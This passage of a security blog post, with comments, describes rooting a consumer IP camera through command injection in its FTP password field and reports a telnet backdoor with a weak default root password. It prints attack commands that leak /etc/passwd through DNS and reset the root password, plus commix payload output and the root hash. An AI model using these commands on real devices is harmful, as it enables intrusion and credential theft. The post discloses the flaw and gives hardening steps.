

 $\frac{1}{5}$

Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

```
$cp /etc/passwd /tmp/a)          ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)     ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c)   ;filter out unwanted characters
$(ping `cat /tmp/c`)             ;leak it via DNS
```

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried [commix](#), as it looked promising on [Youtube](#). Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.

```
root@kali: ~/Desktop/commix
File Edit View Search Terminal Help

Automated All-in-One OS Command Injection and Exploitation Tool
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(*) Checking connection to the target URL... [ SUCCEED ]
(*) Testing the classic injection technique... [ FAILED ]
(*) Testing the eval-based injection technique... [ FAILED ]
(*) Testing the time-based injection technique... [ FAILED ]
(*) Testing the file-based semiblind injection technique...
(*) Trying to upload the 'SACGSW.txt' on /var/www/... [ 3% ]
(*) Error: It seems that you don't have permissions to write on /var/www/.
(*) Do you want to try the temporary directory (/tmp/) [Y/n] > y
(*) Trying to upload file, on temporary directory (/tmp/)...
(*) Testing the tempfile-based injection technique... [ SUCCEED ]
(!) The (POST) 'addr' parameter is vulnerable to Semiblind-based Command Injection.
(*) Type : Semiblind-based Command Injection
(*) Technique : Tempfile-Based Injection Technique
(*) Payload : str=$(echo ZUDFHK > /tmp/ZUDFHK.txt); str=$(python -c "with open('/tmp/ZUDFHK.txt') as file: print len(file.readline())-1"); if [ "$str" -ne 0 ]; then $(python -c "import time;time.sleep(1)"); else $(python -c "import time;time.sleep(1)"); fi
the quieter you become, the more you are able to hear"
(*) Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)
Shell > ls

(*) Retrieving the length of execution output...
(!) Retrieved 79 characters.
(*) Grabbing the output from '/tmp/ZUDFHK.txt', please wait... [ 43% ]
```

But after spending way too much time without progress, I finally found the password to Open Sesame.

```
$(echo 'root:passwd'|chpasswd)
```

Now, logging in via telnet

```
(none) login: root
Password:
```

```
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
```

Woot woot :) I quickly noticed the root of the command injection problem:

```
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye
```

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the `/etc/passwd` file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

```
root:LSiuY7pOmZG2s:0:Administrator:./bin/sh
```

Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a [luggage](#) password.

execution ( 1 ) rooting ( 1 )  
security ( 6 ) session  
Social Engineering ( 2 )  
( 1 ) sqli ( 1 ) tablet ( 1 )  
Tutorial ( 13 )  
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It is time to recap what we have. **There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.**

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

#### My hardening list

I added these lines to the end of /system/init/ipcam.sh:

```
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
```

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

```
iptables -A OUTPUT -p udp ! --dport 53 -j DROP
```

#### My TODO list

- Investigate the script /system/system/bin/gmail\_thread
- Investigate the cloud protocol
- Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.



When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

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**Nigel** September 26, 2015 at 7:45 PM

Nice work.

I often wonder why they (the developers) pick such rubbish passwords! But then whatever was picked it would be found with a core dump or other exploitable hardware attack...

I often think there's a hardware solution, but then you realise that adding even one dipswitch would up the cost massively! Perhaps a plugboard would give a decent solution. But since an attacker can likely try a thousand plus passwords a second for years without detection, would even that work?

[Reply](#)[▼ Replies](#)**jwtte\_food** September 27, 2015 at 8:07 PM

The developers are the cheapest nephew scripter the subcontractor could find. Or perhaps that guy in the dinner across the street who has an I <3 Emacs sticker. Is well known that security doesn't sell to 99% of the market. All the big breaches have negligible impact to corporate earnings for giants -- how could Chinese cut rate manufacturers do better?

Anyway, get the raspberry pi camera rather than USB; the control and performance through the camera/GPU interface is well worth it!

[Reply](#)**Braden** September 26, 2015 at 9:01 PM

Cool, I think I've hacked one of these before. If it's the same thing I saw, there was a command injection in del\_file.cgi.

[Reply](#)[▼ Replies](#)**Z** September 27, 2015 at 5:56 PM

Yes, probably this is the same

[Reply](#)**184303bc-648f-11e5-83cd-13fd8f57e0e9** September 26, 2015 at 10:51 PM

Looks like an EM6220. Which other brands and types might contain the same vuln, interesting... don't think this vendor has developed everything in-house.

[Reply](#)[▼ Replies](#)**Z** September 27, 2015 at 12:06 PM

I can neither confirm nor deny this is an EM6220. But if you google the hash of the password along with IP camera, you can find quite a lot of other vendors are affected.

[Reply](#)**欧阳锋** September 27, 2015 at 9:59 AM

What's the device's name?

[Reply](#)**Zach Lanier** September 27, 2015 at 5:15 PM

*This comment has been removed by the author.*

[Reply](#)**Zach Lanier** September 27, 2015 at 5:15 PM

Similar findings (for IZON cameras, that is) from a buddy: [https://www.youtube.com/watch?v=h\\_80VguaAI8](https://www.youtube.com/watch?v=h_80VguaAI8)

[Reply](#)[▼ Replies](#)**Z** September 27, 2015 at 5:51 PM

Awesome, thanks for sharing :)

[Reply](#)**heavymark** September 27, 2015 at 7:24 PM

The picture posted is of an Eminent EM6220: <http://www.mobile-harddisk.nl/product/4666/eminent-em6220-ecamview-pantilt-ip-camera.html?language=en>. While one would simply assume the author used a random photo to showcase a sample IP camera, since the author blurred out the name on the camera that would show that it's the photo of the actual camera. But while this article is on the EM6220 the author also notes it affects other cameras.

[Reply](#)**Kai Hendry** September 28, 2015 at 3:18 AM



Nice shell injection work. I guess people shouldn't really use shell.

I don't like this connection with a 3rd party server business: <https://www.youtube.com/watch?v=ppwLHmJx0vc>

[Reply](#)



**Ilya Chernyakov** September 28, 2015 at 4:26 AM

Great job

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